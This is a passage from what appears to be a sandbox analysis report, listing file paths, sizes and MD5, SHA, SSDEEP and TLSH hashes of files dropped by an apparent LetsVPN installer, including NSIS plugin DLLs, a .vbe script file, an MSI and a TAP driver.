- TLSH T1AA024B62CD9231F2F6898A7D08CBB357D6BDA7005F40D47E5B2E467D6D281B4AC33242
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\genteert.dll
- Size 60KB
- SHA256 54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831
- MD5 6ce814fd1ad7ae07a9e462c26b3a0f69
- SHA1 15f440c2a8498a4efe2d9ba0c6268fab4fb8e0a7
- SHA512 e5cff6bcb063635e5193209b94a9b2f5465f1c82394f23f50bd30bf0a2b117b209f5fca5aa10a7912a94ad88711dcd490aa528a7202f09490acd96cd640a3556
- SSDEEP 768:BVPbKk9022j0efXs6X8zqk3pT3oMapzxc7Ep+DnSIiacDwGpr1a:BVTK+022j0V6mqMozpzxcXOpwEr1
- TLSH T16A536D03678600F5D6526A7A342F7277FB34DFE742E6C6836F69DC902D221A1A52A1C3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsd1A0C.tmp\System.dll
- Size 12KB
- SHA256 23d618a0293c78ce00f7c6e6dd8b8923621da7dd1f63a070163ef4c0ec3033d6
- MD5 192639861e3dc2dc5c08bb8f8c7260d5
- SHA1 58d30e460609e22fa0098bc27d928b689ef9af78
- SHA512 6e573d8b2ef6ed719e271fd0b2fd9cd451f61fc9a9459330108d6d7a65a0f64016303318cad787aa1d5334ba670d8f1c7c13074e1be550b4a316963ecc465cdc
- SSDEEP 192:ljHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZqE0QPi:R/Qlt7wiij/lMRv/9V4bfr
- TLSH T1B1427C1297B089F2F551493419667F2A6FBEAC5C13F405A3CFE304C63D212CB9839243
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsd1A0C.tmp\modern-wizard.bmp
- Size 51KB
- SHA256 076221b4527ff13c3e1557abbbd48b0cb8e5f7d724c6b9171c6aadadb80561dd
- MD5 7f8e1969b0874c8fb9ab44fc36575380
- SHA1 3057c9ce90a23d29f7d0854472f9f44e87b0f09a
- SHA512 7aa65cfadc2738c0186ef459d0f5f7f770ba0f6da4ccd55a2ceca23627b7f13ba258136bab88f4eee5d9bb70ed0e8eb8ba8e1874b0280d2b08b69fc9bdd81555
- SSDEEP 192:mfR2FYRtCc9X1uikvgqm+LPTTw9Bu8Skn+x23acmHjZXuxZpCAe9Crxpn319UDSQ:mf0YRt/km+b3wG0nt2UC6rOf
- TLSH T12033C4D8D42DFAA23B58D85DC0B1DF63CCF91083E1059156A4F96A7DEB9A394334232E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsd1A0C.tmp\nsDialogs.dll
- Size 9KB
- SHA256 89a82c4849c21dfe765052681e1fad02d2d7b13c8b5075880c52423dca72a912
- MD5 b7d61f3f56abf7b7ff0d4e7da3ad783d
- SHA1 15ab5219c0e77fd9652bc62ff390b8e6846c8e3e
- SHA512 6467c0de680fadb8078bdaa0d560d2b228f5a22d4d8358a1c7d564c6ebceface5d377b870eaf8985fbee727001da569867554154d568e3b37f674096bbafafb8
- SSDEEP 96:ooEv02zUu56FcS817eTaXx85qHFcUcxSgB5PKtAtoniJninnt3DVEB3YMNqkzfFc:ooEvCu5e81785qHFcU0PuAw0uyyIFc
- TLSH T16A12F992E2A454B3C5D6523B35AA2F2DCBBD5329B0927C01C7738E4D393957A6E38343
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsd1A0C.tmp\nsExec.dll
- Size 7KB
- SHA256 2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77
- MD5 11092c1d3fbb449a60695c44f9f3d183
- SHA1 b89d614755f2e943df4d510d87a7fc1a3bcf5a33
- SHA512 c182e0a1f0044b67b4b9fb66cef9c4955629f6811d98bbffa99225b03c43c33b1e85cacabb39f2c45ead81cd85e98b201d5f9da4ee0038423b1ad947270c134a
- SSDEEP 96:JgzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuHIDQ:JDQHDb2vSuOc41ZfUNQZGdHA
- TLSH T1D5E1093571C02DF7D08D897438167D2F43F4D52627BA05B046771AD579D0AF6EE28B42
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsd1A0C.tmp\nsProcess.dll
- Size 4KB
- SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
- MD5 f0438a894f3a7e01a4aae8d1b5dd0289
- SHA1 b058e3fcfb7b550041da16bf10d8837024c38bf6
- SHA512 f91fcea19cbddf8086affcb63fe599dc2b36351fc81ac144f58a80a524043ddeaa3943f36c86ebae45dd82e8faf622ea7b7c9b776e74c54b93df2963cfe66cc7
- SSDEEP 48:Sz4joMeH+Iwdf8Rom/L+rOnnk5/OCnXeAdbdOAa4GPI+CJ87eILzlq7gthwIsEQW:64c/eFdfS/SSnkxNa4G+ueqPuCtGsj
- TLSH T11191D87597D804B1C197093276620A672FBD843603A7651FE7836E962ED0EFBE874321
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\LetsVPN\adddf.vbe
- Size 9KB
- SHA256 8899328528e624933756a42f050f6d07a8c21be2ba1f35db9d63ed4ab09c2c59
- MD5 b42b13ce8b65822bc306fa7a43ddda56
- SHA1 a73ca18d9ba4a83612e258e98b44f8454e8e5a1b
- SHA512 1e43b0fe9379d05aebed6fd369412ce665b73df80d3e2823325d6b877c5aa98dc0141357158b03654b2f3d863e573b4b93c181513475e7a023eebc47c9fa4f46
- SSDEEP 192:hK9vlssS2pyOy+M6Tom8ESoF3knMTqJoR1:cr7pCtm9/FkngqJ6
- TLSH T1BF12E78C1204A3408DBDA0753D87097EA71FCE689A8A7160C5CDEEC9B4C763D40AE6F1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e58a2f2.msi
- Size 19.0MB
- SHA256 6d2eea059b29d04bb4b68c4a1172e631df4a49c3e2a11195619533ae437c46d4
- MD5 5da3fdded1d36b9b63e88cb3ccb4c959
- SHA1 abda0104824f5244d0fc895fa5d9531cded2e00a
- SHA512 65953e452f1a29c9a24a24f51a4fc0e81c6741a030df07d9edda4e0f489fb243eda4a757c0a332f6db9bfae58b609887094821d964749a369da6642e627b9074
- SSDEEP 393216:0p7hKu8bLtjhjfm916G2GqQj9CKj83BvABin8AhG9VN5UhFT/kjLmDYYgNo3V9+D:0pIu8b1RO6G2dQj9CfBo8tYGhFT/k3SL
- TLSH T1331733A74A0F1C7AED1ACD7F86F7160D05123B726802A1673361FE80A993457E4BB1A6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\PROGRA~2\letsvpn\driver\tap0901.sys
- Size 38KB
- SHA256 589c5667b1602837205da8ea8e92fe13f8c36048b293df931c99b39641052253
- MD5 c10ccdec5d7af458e726a51bb3cdc732
- SHA1 0553aab8c2106abb4120353360d747b0a2b4c94f
- SHA512 7437c12ae5b31e389de3053a55996e7a0d30689c6e0d10bde28f1fbf55cee42e65aa441b7b82448334e725c0899384dee2645ce5c311f3a3cfc68e42ad046981
- SSDEEP 768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
- TLSH T1BA037E91A7A81896E4AA947483E7DF67FBB8B1431310DBDF0364E6591F23BD41237328
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\program files (x86)\letsvpn\driver\tap0901.cat
- Size 10KB
- SHA256 cc74cdb88c198eb00aef4caa20bf1fda9256917713a916e6b94435cd4dcb7f7b
- MD5 f73ac62e8df97faf3fc8d83e7f71bf3f
- SHA1 619a6e8f7a9803a4c71f73060649903606beaf4e
- SHA512 f81f5757e0e449ad66a632299bcbe268ed02df61333a304dccafb76b2ad26baf1a09e7f837762ee4780afb47d90a09bf07cb5b8b519c6fb231b54fa4fbe17ffe
- SSDEEP 192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
- TLSH T17F22F7A289AC44C3E8A3AC3013E8FC977D3D67CB1C50455925AEF6291EA73C5F31526D
- MD5 SHA1 SHA512 SSDEEP TLSH